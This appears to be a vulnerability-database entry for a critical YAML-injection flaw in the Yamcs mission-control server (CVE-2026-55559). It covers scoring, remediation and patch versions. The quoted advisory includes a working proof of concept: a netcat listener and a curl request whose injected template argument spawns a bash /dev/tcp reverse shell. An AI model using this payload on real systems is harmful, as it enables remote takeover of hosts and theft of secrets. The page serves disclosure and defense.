Skip to main content

Yamcs CVE-2026-55559

| EUVDEUVD-2026-67843 CRITICAL
Code Injection (CWE-94)
2026-08-28 https://github.com/yamcs/yamcs GHSA-73mf-m39p-wpm9
9.8
CVSS 3.1 · Vendor: https://github.com/yamcs/yamcs
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach Yamcs HTTP API (default port 8090)
  2. Delivery
    Send POST /api/instances with malicious templateArgs
  3. Exploit
    Break out of name string, inject services: ProcessRunner
  4. Execution
    SnakeYAML loads config, instantiates injected service
  5. Persist
    ProcessRunner spawns reverse shell as service account
  6. Impact
    Read secretKey/secrets, forge superuser tokens, tamper telemetry

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the ability to call POST /api/instances or PATCH /api/instances/{instance} with attacker-controlled templateArgs against a template that substitutes an arg into the config (e.g. the shipped 'example' template's name: "{{ spaceSystem }}"). The injected value must contain YAML control characters (newline, colon, indentation) to close the surrounding quoted scalar and add a top-level services: block with class: org.yamcs.ProcessRunner - none of which EscapeFilter neutralizes. Authorization requirement: the caller must hold the CreateInstances privilege; however, in the default shipped configuration with no security.yaml the guest user is superuser=true and the API is unauthenticated, so no credentials are needed at all (same default exposure as CVE-2026-46562). Limiting factors for hardened deployments: a configured security.yaml removes the unauthenticated path and requires a valid bearer token for a principal that has been granted CreateInstances; notably ChangeMissionDatabase is NOT required, so the separate algorithm-override restriction does not protect this path.

Impact

This is a genuine high-priority issue, not merely a high-CVSS artifact. The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8) reflects the shipped default posture: with no security.yaml the API is unauthenticated and guest is superuser, so a network attacker gets code execution with no prerequisites. A working PoC is public (publicly available exploit code exists), which raises real-world likelihood. There is a nuance worth flagging: when security IS configured, exploitation requires the CreateInstances privilege, so effective privileges are PR:N only for default/insecure deployments and PR:L for hardened ones - defenders should map their own auth posture rather than assume PR:N. No EPSS score and no CISA KEV entry were provided, so there is no evidence of active exploitation at time of analysis; treat this as high-severity-with-public-PoC rather than confirmed in-the-wild. No SSVC decision data was supplied. The impact is severe because code runs as the service account, which can read secretKey from etc/yamcs.yaml (enabling token forgery for any user, including superuser), exposing every instance on the host.

Exploit ScenarioDerived

An attacker who can reach the Yamcs HTTP API - either an operator holding only CreateInstances, or anyone at all against a default deployment with no security.yaml - sends a POST /api/instances request whose templateArgs value breaks out of the template's name: "..." string and injects a top-level services: entry for org.yamcs.ProcessRunner running a reverse-shell command. The server returns 200, starts the injected service, and connects back to the attacker's listener with a shell as the Yamcs service account. A public PoC (nc listener plus a crafted curl request) is provided in the advisory, and given AV:N/AC:L the attack is trivial to script.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.6% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 28, 2026

Remote code execution in Yamcs (open-source mission-control server) versions <= 5.12.7 and 5.13.0-5.13.1 allows a caller with the CreateInstances privilege - or any unauthenticated user in the default no-security.yaml configuration where guest is superuser - to inject YAML into an instance template via the templateArgs parameter of POST /api/instances (and PATCH /api/instances/{instance}). Because arguments are written into the rendered config as raw, unescaped text and then loaded as YAML, an attacker can inject a services: entry that instantiates org.yamcs.ProcessRunner and executes an arbitrary command as the Yamcs service account. Publicly available exploit code exists (a full PoC with a reverse shell is published in the GitHub Security Advisory), and vendor patches are available in 5.12.8 and 5.13.2.

RemediationAI

Vendor-released patch: upgrade to 5.12.8 (for the 5.12.x line) or 5.13.2 (for the 5.13.x line); fixes are in commits 549f295cf8c5496a5e799d6bec2432ef976c82aa and 7192da1c49bdf5ab1d72e579a47766a7c43e87c8, which route template rendering through processAndSanitizeYaml (user strings are swapped for UUID tokens, the layout is parsed as a YAML object graph, and tokens are re-substituted as pure data so injected structure cannot take effect). If you cannot patch immediately, deploy a security.yaml so the API is authenticated and guest is not superuser - this closes the unauthenticated path but not exploitation by any principal still holding CreateInstances. Additionally restrict who holds the CreateInstances privilege (remove it from operators who should not have a host shell), and network-restrict access to the HTTP API port (default 8090) to trusted management hosts only; the trade-off is that legitimate remote instance-creation workflows must originate from those hosts. Advisory and release notes: https://github.com/yamcs/yamcs/security/advisories/GHSA-73mf-m39p-wpm9, https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8, https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2.

Affected VersionsENISA

yamcs < 5.12.8
yamcs 5.13.0, < 5.13.2

Affected Packages

maven org.yamcs:yamcs-core fix: 5.12.8, 5.13.2
euvd yamcs fix: 5.12.8, 5.13.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Yamcs is a Java-based mission-control/telemetry framework (packaged as maven org.yamcs:yamcs-core) used to operate spacecraft and other remote systems. Instances are created from templates rendered by a custom text templating engine (VarStatement/TemplateProcessor). The root cause is CWE-94 (code/config injection): VarStatement.append writes user-supplied arg values verbatim (VarStatement.java:29, buf.append(value)), and the only available filter, EscapeFilter, performs HTML escaping of & < > ' " while leaving newlines, colons and indentation intact - so it does not neutralize YAML structure. The rendered text is parsed as a YConfiguration (SnakeYAML), and YamcsServerInstance instantiates every services: entry by its class: attribute via YObjectLoader. Injecting a top-level services: block referencing org.yamcs.ProcessRunner reaches new ProcessBuilder(command).start() (ProcessRunner.java:81-82), turning a config-injection into direct command execution. InstancesApi.createInstance never validates templateArgs against the template's declared choices/required metadata (that metadata is only used to render the web form).

Know when Java gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/yamcs/yamcs) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 9.8 CRITICAL

Default shipped config is unauthenticated (guest superuser) giving PR:N, network-reachable API with a simple scripted request (AC:L), yielding full host command execution (C:H/I:H/A:H); hardened installs would be PR:L.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/yamcs/yamcs).

CVSS VectorVendor: https://github.com/yamcs/yamcs

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

templateArgs sent to POST /api/instances (and PATCH /api/instances/{instance}) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each services: entry by its class:, so injecting YAML through a template arg lets you add a services: entry for org.yamcs.ProcessRunner and run a command on the host. The args aren't escaped for YAML or validated server-side.

Needs the CreateInstances privilege. With no security.yaml the guest user is superuser=true and the API is unauthenticated, so it's reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn't touch this path.

Details

VarStatement appends arg values with no escaping:

java
// yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29
buf.append(value);

The only filter, EscapeFilter, does HTML escaping (& < > ' ") and leaves newlines, colons and indentation alone, so {{ x | escape }} doesn't help either. InstancesApi.createInstance forwards the args without checking them against the declared variables; the choices / required metadata is only used to render the web form.

Request to exec: InstancesApi.createInstance (http/api/InstancesApi.java:169, checks CreateInstances) → YamcsServer.createInstance (YamcsServer.java:651, template.process(templateArgs)) → rendered config loaded as YConfiguration → YamcsServerInstance instantiates services: by class: (YamcsServerInstance.java:75,88, via YObjectLoader) → org.yamcs.ProcessRunner runs new ProcessBuilder(command).start() (ProcessRunner.java:81-82).

createInstance has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (ServicesApi only starts/stops existing ones), so the template arg is the only way in.

A fix would be to validate templateArgs (reject newlines / control characters, enforce the declared choices / required) and/or escape substituted values for the YAML context.

PoC

Run the shipped example: ./run-example.sh templates. It serves HttpServer on 8090 with no security.yaml, so guest is superuser and the API is unauthenticated. Its example template puts {{ spaceSystem }} into name: "...".

Listener:

nc -lvnp 4444

Request (set <LHOST> / <LPORT> to the listener):

bash
curl -i -X POST http://<target>:8090/api/instances \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "pwned",
    "template": "example",
    "templateArgs": {
      "spaceSystem": "x\"\nservices:\n  - class: org.yamcs.ProcessRunner\n    args:\n      command: [\"bash\", \"-c\", \"exec 3<>/dev/tcp/<LHOST>/<LPORT>; sh -i <&3 >&3 2>&3\"]\n#",
      "bar": "Option 2"
    }
  }'

Returns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (id shows the service account). The arg closes the name: "..." quote, adds a top-level services: (which overrides the template's services: [], last key wins in SnakeYAML), and ends with # to comment out the trailing ".

With security.yaml it's the same request with a bearer token. This works for a user whose only privilege is CreateInstances: that user gets 403 (Missing system privilege 'ChangeMissionDatabase') on the algorithm-override path but 200 here.

Impact

Command execution as the Yamcs service account. That includes reading secretKey from etc/yamcs.yaml (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box.

It needs CreateInstances, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn't have a shell, or that runs without security.yaml, this is host takeover from the API.

Technical POC Analysis

CWE-94: code injection through improper neutralization of template/YAML syntax.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

Yamcs mission-control server versions 5.12.7 and earlier, and 5.13.0-5.13.1, are vulnerable to unauthenticated remote code execution enabling attackers to inject arbitrary commands executed as the Yamcs service account. Organizations running vulnerable instances face potential mission disruption, data compromise, and loss of operational control, with heightened risk in default configurations where guest access has superuser privileges.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.6%
Top 56% exploitable
Prevalence
Low
niche open-source spacecraft/mission-control server, aerospace-specific footprint
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.6%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

70
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +49
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Java

View all
CVE-2012-4681 CRITICAL POC
9.8 Aug 28

Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m

CVE-2015-7450 CRITICAL POC
9.8 Jan 02

Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti

CVE-2013-2465 CRITICAL POC
9.8 Jun 18

Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent

CVE-2011-3544 CRITICAL POC
9.8 Oct 19

Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug

CVE-2010-1871 HIGH POC
8.8 Aug 05

JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to

CVE-2012-1723 CRITICAL POC
9.8 Jun 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up

CVE-2013-0422 CRITICAL POC
9.8 Jan 10

Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using

CVE-2012-0507 CRITICAL POC
9.8 Jun 07

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up

CVE-2015-4852 CRITICAL POC
9.8 Nov 18

The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers

CVE-2012-5076 CRITICAL POC
9.8 Oct 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow

CVE-2017-3066 CRITICAL POC
9.8 Apr 27

Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla

CVE-2012-0391 CRITICAL POC
9.8 Jan 08

The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy